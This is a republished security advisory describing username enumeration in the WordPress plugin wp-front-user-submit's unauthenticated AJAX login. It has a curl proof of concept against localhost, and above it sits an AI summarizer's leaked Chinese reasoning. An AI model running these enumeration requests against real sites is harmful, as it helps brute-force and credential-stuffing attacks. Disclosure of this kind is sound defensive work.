WordPress Plugin wp-front-user-submit – AJAX Login Username Enumeration Vulnerability
好的,我现在需要帮用户总结一篇文章的内容,控制在100个字以内。首先,我得仔细阅读用户提供的文章内容,理解其中的关键点。 文章主要讲的是WordPress插件wp-front-user-submit存在一个漏洞,允许攻击者通过AJAX登录端点枚举用户名。插件注册了两个AJAX动作,分别是wp_ajax_nopriv_fus_login和wp_ajax_fus_login,这两个动作不需要身份验证就能访问。在登录过程中,后端返回不同的错误信息,这取决于用户名是否存在。攻击者可以利用这一点远程枚举有效的WordPress用户名。 漏洞的根本原因是插件直接返回了wp_signon()函数的原始错误信息,而没有进行统一处理或清理。这样就泄露了内部的认证逻辑。影响方面,攻击者可以枚举用户名,构建准确的用户列表,并结合暴力破解或凭证填充攻击,大大降低了认证机制的安全性。 推荐的修复措施是返回一个通用的错误信息,如“无效的用户名或密码”,避免暴露用户名是否存在,并实施速率限制或验证码来保护AJAX登录尝试。 现在我需要将这些关键点浓缩到100个字以内。重点包括:插件名称、漏洞类型(未认证AJAX登录)、允许的行为(枚举用户名)、原因(错误消息未统一)、影响和修复建议。 可能的结构是:插件存在漏洞,允许攻击者通过未认证的AJAX登录端点枚举用户名。后端返回不同错误信息导致泄露。修复建议包括使用通用错误消息和安全措施。 最后检查字数是否符合要求,并确保语言简洁明了。 </think> WordPress插件wp-front-user-submit存在漏洞,允许攻击者通过未认证的AJAX登录端点枚举用户名。该漏洞源于后端直接返回未经统一处理的错误信息。修复建议包括使用通用错误消息和增加安全措施以防止进一步攻击。 2026-1-20 21:49:28 Author: cxsecurity.com(查看原文) 阅读量:0 收藏

Description The WordPress plugin wp-front-user-submit is vulnerable to username enumeration via its unauthenticated AJAX login endpoint. The plugin registers the following AJAX actions accessible without authentication: wp_ajax_nopriv_fus_login wp_ajax_fus_login During the login process, the backend returns different error messages depending on whether the username exists or not, which allows an attacker to enumerate valid WordPress usernames remotely. This behavior is caused by directly returning the raw wp_signon() error messages without normalization. Affected Endpoint POST /wp-admin/admin-ajax.php Vulnerable Action action=fus_login Proof of Concept (PoC) Valid username (wrong password) curl -X POST http://127.0.0.1:8080/wp-admin/admin-ajax.php \ -d "action=fus_login" \ -d "nonce=VALID_NONCE" \ -d "fus_username=root" \ -d "fus_password=wrong" Response (password incorrect): ERROR: The password you entered for the username root is incorrect. Non‑existent username Bash curl -X POST http://127.0.0.1:8080/wp-admin/admin-ajax.php \ -d "action=fus_login" \ -d "nonce=VALID_NONCE" \ -d "fus_username=nosuchuser" \ -d "fus_password=wrong" Response (user does not exist): ERROR: The username nosuchuser is not registered on this site. Impact An unauthenticated attacker can: Enumerate valid WordPress usernames Build accurate user lists Combine this information with brute-force or credential stuffing attacks This significantly reduces the security of the authentication mechanism. Root Cause The plugin directly returns WordPress authentication error messages without sanitizing or unifying them, leaking internal authentication logic. Recommended Fix Always return a generic error message such as: “Invalid username or password” Avoid exposing whether the username exists Implement rate limiting or CAPTCHA for AJAX login attempts

References:

https://cwe.mitre.org/data/definitions/204.html

https://developer.wordpress.org/reference/functions/wp_signon/




 

Thanks for you comment!
Your message is in quarantine 48 hours.


文章来源: https://cxsecurity.com/issue/WLB-2026010011
如有侵权请联系:admin#unsafe.sh